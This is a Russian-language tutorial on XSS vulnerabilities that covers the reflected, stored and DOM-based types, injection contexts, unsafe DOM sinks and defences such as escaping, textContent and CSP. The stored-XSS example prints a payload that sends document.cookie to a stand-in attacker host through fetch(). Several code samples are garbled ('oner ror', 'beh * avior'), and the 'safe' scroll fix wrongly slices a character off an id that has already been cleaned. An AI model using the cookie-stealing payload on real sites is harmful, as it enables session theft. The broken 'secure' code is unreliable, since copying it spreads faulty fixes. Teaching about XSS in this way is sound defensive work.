XSS уязвимости

XSS (Cross-Site Scripting) — это тип уязвимостей веб-приложений, при котором злоумышленник внедряет вредоносный JavaScript-код в страницу, просматриваемую другими пользователями. Этот код выполняется в браузере жертвы в контексте доверенного сайта, что позволяет обходить механизмы безопасности.

Основная причина возникновения XSS — некорректная обработка пользовательского ввода и его последующий вывод в HTML без экранирования.


Принцип работы XSS

Веб-приложение принимает данные от пользователя (например, через форму или URL), затем отображает их на странице. Если данные вставляются напрямую в DOM без фильтрации:

<div>Имя пользователя: <script>alert('XSS')</script></div>

Браузер интерпретирует тег <script> и выполняет код.

Ключевая особенность:

  • код выполняется от имени сайта
  • доступ к cookies, localStorage, DOM

Основные типы XSS

1. Reflected XSS (отражённая)

Вредоносный код передаётся через URL или форму и сразу возвращается в ответе сервера.

Пример:

// URL
https://site.com/search?q=<script>alert(1)</script>

Сервер возвращает:

Результаты поиска: <script>alert(1)</script>

Особенности:

  • не сохраняется на сервере
  • требует взаимодействия пользователя (переход по ссылке)
  • часто используется в фишинге

2. Stored XSS (хранимая)

Вредоносный код сохраняется на сервере (в базе данных) и выполняется при каждом отображении.

Пример:

  • комментарий в блоге:
<script>fetch('https://attacker.com/steal?cookie=' + document.cookie)</script>

Особенности:

  • более опасна
  • затрагивает всех пользователей страницы
  • не требует повторной атаки

3. DOM-based XSS

Возникает на стороне клиента, без участия сервера. Уязвимость связана с небезопасной работой с DOM.

Пример:

const query = location.hash;
document.getElementById('output').innerHTML = query;

URL:

https://site.com/#<img src=x oner ror=alert(1)>

Особенности:

  • полностью клиентская уязвимость
  • трудно обнаруживается
  • зависит от JavaScript-кода

Контексты внедрения XSS

Вредоносный код может внедряться в разные части страницы:

HTML-контекст

<div>{userInput}</div>

Атрибуты HTML

<img src="{userInput}">

JavaScript-контекст

let data = "{userInput}";

URL-контекст

<a href="{userInput}">link</a>

Каждый контекст требует своего способа экранирования.


Типичные уязвимые конструкции в JavaScript

Использование innerHTML

element.innerHTML = userInput;

document.write

document.write(userInput);

insertAdjacentHTML

element.insertAdjacentHTML('beforeend', userInput);

eval и подобные

eval(userInput);

Потенциальные последствия XSS

  • кража cookies
  • перехват сессий
  • выполнение действий от имени пользователя
  • внедрение фишинговых форм
  • распространение вредоносного кода
  • изменение содержимого страницы

Методы защиты от XSS

1. Экранирование (escaping)

Основной способ защиты — преобразование специальных символов:

Символ Замена
< &lt;
> &gt;
" &quot;
' &#39;
& &amp;

Пример:

function escapeHTML(str) {
  return str
    .replace(/&/g, "&amp;")
    .replace(/</g, "&lt;")
    .replace(/>/g, "&gt;")
    .replace(/"/g, "&quot;")
    .replace(/'/g, "&#39;");
}

2. Использование textContent вместо innerHTML

element.textContent = userInput;

Преимущество:

  • текст вставляется безопасно
  • HTML не интерпретируется

3. Content Security Policy (CSP)

HTTP-заголовок:

Content-Security-Policy: default-src 'self'; script-src 'self'

Ограничивает:

  • выполнение inline-скриптов
  • загрузку скриптов с внешних источников

4. Валидация входных данных

Проверка данных перед обработкой:

const safe = /^[a-zA-Z0-9 ]+$/.test(userInput);

Однако валидация не заменяет экранирование.


5. Использование безопасных API

Вместо:

element.innerHTML = "<b>" + userInput + "</b>";

Лучше:

const b = document.createElement("b");
b.textContent = userInput;
element.appendChild(b);

6. Фреймворки и защита

Современные фреймворки автоматически защищают от XSS:

  • React — экранирует значения по умолчанию
  • Vue — безопасный вывод через {{ }}
  • Angular — строгая обработка шаблонов

Опасность возникает при использовании:

dangerouslySetInnerHTML
v-html

Связь XSS с Smooth Scroll

При реализации плавной прокрутки часто используются:

  • якорные ссылки (#section)
  • обработчики событий
  • динамическая генерация элементов

Уязвимости могут возникать при:

const id = location.hash;
document.querySelector(id).scrollIntoView();

Если id содержит вредоносный код — возможна атака через DOM.

Безопасный вариант:

const id = location.hash.replace(/[^a-zA-Z0-9_-]/g, '');

Практические рекомендации

  • никогда не доверять пользовательскому вводу
  • избегать прямой вставки HTML
  • использовать строгие политики CSP
  • проверять сторонние библиотеки
  • минимизировать inline-скрипты
  • применять линтеры и статический анализ

Примеры безопасной реализации

Небезопасно:

output.innerHTML = location.search;

Безопасно:

output.textContent = location.search;

Небезопасная прокрутка:

const target = document.querySelector(location.hash);
target.scrollIntoView({ beh * avior: 'smooth' });

Безопасная версия:

const hash = location.hash.replace(/[^a-zA-Z0-9_-]/g, '');
const target = document.getElementById(hash.slice(1));

if (target) {
  target.scrollIntoView({ beh * avior: 'smooth' });
}

Инструменты для обнаружения XSS

  • статические анализаторы (ESLint, SonarQube)
  • динамическое тестирование (Burp Suite)
  • браузерные расширения
  • fuzzing входных данных

Распространённые ошибки

  • уверенность в “безопасности” только серверной проверки
  • использование blacklist вместо whitelist
  • неправильное экранирование в разных контекстах
  • игнорирование DOM-based XSS
  • слепое доверие сторонним скриптам

Итоговые принципы безопасной разработки

  • экранирование всегда и везде
  • строгий контроль контекста вывода
  • минимизация динамического HTML
  • использование безопасных API DOM
  • регулярный аудит кода

XSS остаётся одной из самых распространённых уязвимостей, особенно в JavaScript-приложениях, активно работающих с DOM и пользовательскими данными.